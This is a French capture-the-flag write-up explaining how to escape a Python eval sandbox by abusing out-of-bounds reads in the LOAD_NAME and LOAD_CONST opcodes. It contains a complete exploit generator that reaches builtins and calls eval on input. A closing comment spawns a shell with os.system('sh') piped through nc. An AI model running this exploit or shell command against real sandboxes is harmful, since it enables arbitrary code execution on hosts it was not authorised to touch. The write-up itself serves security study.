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LOAD_NAME / LOAD_CONST opcode OOB Read

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Ces informations ont été extraites de cet article.

TL;DR

Nous pouvons utiliser la fonction de lecture OOB dans l'opcode LOAD_NAME / LOAD_CONST pour obtenir un symbole dans la mémoire. Cela signifie utiliser des astuces comme (a, b, c, ... des centaines de symboles ..., __getattribute__) if [] else [].__getattribute__(...) pour obtenir un symbole (tel qu'un nom de fonction) que vous souhaitez.

Ensuite, il suffit de créer votre exploit.

Aperçu

Le code source est assez court, ne contient que 4 lignes !

source = input('>>> ')
if len(source) > 13337: exit(print(f"{'L':O<13337}NG"))
code = compile(source, '∅', 'eval').replace(co_consts=(), co_names=())
print(eval(code, {'__builtins__': {}}))1234

Vous pouvez entrer du code Python arbitraire, et il sera compilé en un objet de code Python. Cependant, co_consts et co_names de cet objet de code seront remplacés par un tuple vide avant d'évaluer cet objet de code.

Ainsi, toute expression contenant des constantes (par exemple des nombres, des chaînes, etc.) ou des noms (par exemple des variables, des fonctions) pourrait provoquer une violation de segmentation à la fin.

Lecture hors limites

Comment se produit la violation de segmentation ?

Commençons par un exemple simple, [a, b, c] pourrait être compilé en le bytecode suivant.

1           0 LOAD_NAME                0 (a)
2 LOAD_NAME                1 (b)
4 LOAD_NAME                2 (c)
6 BUILD_LIST               3
8 RETURN_VALUE12345

Mais que se passe-t-il si co_names devient un tuple vide ? L'opcode LOAD_NAME 2 est toujours exécuté et tente de lire la valeur à partir de cette adresse mémoire où elle aurait dû être initialement. Oui, c'est une fonctionnalité de lecture hors limites.

Le concept principal de la solution est simple. Certains opcodes dans CPython, par exemple LOAD_NAME et LOAD_CONST, sont vulnérables (?) à la lecture hors limites.

Ils récupèrent un objet à partir de l'index oparg du tuple consts ou names (c'est ce que co_consts et co_names sont nommés en interne). Nous pouvons nous référer au court extrait suivant sur LOAD_CONST pour voir ce que CPython fait lorsqu'il traite l'opcode LOAD_CONST.

case TARGET(LOAD_CONST): {
PREDICTED(LOAD_CONST);
PyObject *value = GETITEM(consts, oparg);
Py_INCREF(value);
PUSH(value);
FAST_DISPATCH();
}1234567

De cette manière, nous pouvons utiliser la fonction OOB pour obtenir un "nom" à partir d'un décalage mémoire arbitraire. Pour vérifier quel nom il a et quel est son décalage, il suffit de continuer à essayer LOAD_NAME 0, LOAD_NAME 1 ... LOAD_NAME 99 ... Et vous pourriez trouver quelque chose à propos de oparg > 700. Vous pouvez également essayer d'utiliser gdb pour jeter un œil à la disposition de la mémoire bien sûr, mais je ne pense pas que ce serait plus facile?

Générer l'Exploit

Une fois que nous avons récupéré ces décalages utiles pour les noms / constantes, comment obtenir un nom / constante à partir de ce décalage et l'utiliser? Voici un truc pour vous: Supposons que nous puissions obtenir un nom __getattribute__ à partir du décalage 5 (LOAD_NAME 5) avec co_names=(), il suffit de faire ce qui suit:

[a,b,c,d,e,__getattribute__] if [] else [
[].__getattribute__
# you can get the __getattribute__ method of list object now!
]1234

Notez qu'il n'est pas nécessaire de le nommer __getattribute__, vous pouvez le nommer de manière plus courte ou plus étrange

Vous pouvez comprendre la raison en visualisant simplement son bytecode :

0 BUILD_LIST               0
2 POP_JUMP_IF_FALSE       20
>>    4 LOAD_NAME                0 (a)
>>    6 LOAD_NAME                1 (b)
>>    8 LOAD_NAME                2 (c)
>>   10 LOAD_NAME                3 (d)
>>   12 LOAD_NAME                4 (e)
>>   14 LOAD_NAME                5 (__getattribute__)
16 BUILD_LIST               6
18 RETURN_VALUE
20 BUILD_LIST               0
>>   22 LOAD_ATTR                5 (__getattribute__)
24 BUILD_LIST               1
26 RETURN_VALUE1234567891011121314

Remarquez que LOAD_ATTR récupère également le nom à partir de co_names. Python charge les noms à partir du même décalage si le nom est le même, donc le deuxième __getattribute__ est toujours chargé à partir du décalage=5. En utilisant cette fonctionnalité, nous pouvons utiliser un nom arbitraire une fois que le nom est en mémoire à proximité.

Pour générer des nombres, cela devrait être trivial :

  • 0 : not [[]]

  • 1 : not []

  • 2 : (not []) + (not [])

  • ...

Script d'Exploitation

Je n'ai pas utilisé de constantes en raison de la limite de longueur.

Tout d'abord, voici un script pour nous permettre de trouver ces décalages de noms.

from types import CodeType
from opcode import opmap
from sys import argv


class MockBuiltins(dict):
def __getitem__(self, k):
if type(k) == str:
return k


if __name__ == '__main__':
n = int(argv[1])

code = [
*([opmap['EXTENDED_ARG'], n // 256]
if n // 256 != 0 else []),
opmap['LOAD_NAME'], n % 256,
opmap['RETURN_VALUE'], 0
]

c = CodeType(
0, 0, 0, 0, 0, 0,
bytes(code),
(), (), (), '<sandbox>', '<eval>', 0, b'', ()
)

ret = eval(c, {'__builtins__': MockBuiltins()})
if ret:
print(f'{n}: {ret}')

# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132

Et le suivant est pour générer l'exploit Python réel.

import sys
import unicodedata


class Generator:
# get numner
def __call__(self, num):
if num == 0:
return '(not[[]])'
return '(' + ('(not[])+' * num)[:-1] + ')'

# get string
def __getattribute__(self, name):
try:
offset = None.__dir__().index(name)
return f'keys[{self(offset)}]'
except ValueError:
offset = None.__class__.__dir__(None.__class__).index(name)
return f'keys2[{self(offset)}]'


_ = Generator()

names = []
chr_code = 0
for x in range(4700):
while True:
chr_code += 1
char = unicodedata.normalize('NFKC', chr(chr_code))
if char.isidentifier() and char not in names:
names.append(char)
break

offsets = {
"__delitem__": 2800,
"__getattribute__": 2850,
'__dir__': 4693,
'__repr__': 2128,
}

variables = ('keys', 'keys2', 'None_', 'NoneType',
'm_repr', 'globals', 'builtins',)

for name, offset in offsets.items():
names[offset] = name

for i, var in enumerate(variables):
assert var not in offsets
names[792 + i] = var


source = f'''[
({",".join(names)}) if [] else [],
None_ := [[]].__delitem__({_(0)}),
keys := None_.__dir__(),
NoneType := None_.__getattribute__({_.__class__}),
keys2 := NoneType.__dir__(NoneType),
get := NoneType.__getattribute__,
m_repr := get(
get(get([],{_.__class__}),{_.__base__}),
{_.__subclasses__}
)()[-{_(2)}].__repr__,
globals := get(m_repr, m_repr.__dir__()[{_(6)}]),
builtins := globals[[*globals][{_(7)}]],
builtins[[*builtins][{_(19)}]](
builtins[[*builtins][{_(28)}]](), builtins
)
]'''.strip().replace('\n', '').replace(' ', '')

print(f"{len(source) = }", file=sys.stderr)
print(source)

# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273

Il fait essentiellement les choses suivantes, pour les chaînes que nous obtenons à partir de la méthode __dir__:

getattr = (None).__getattribute__('__class__').__getattribute__
builtins = getattr(
getattr(
getattr(
[].__getattribute__('__class__'),
'__base__'),
'__subclasses__'
)()[-2],
'__repr__').__getattribute__('__globals__')['builtins']
builtins['eval'](builtins['input']())
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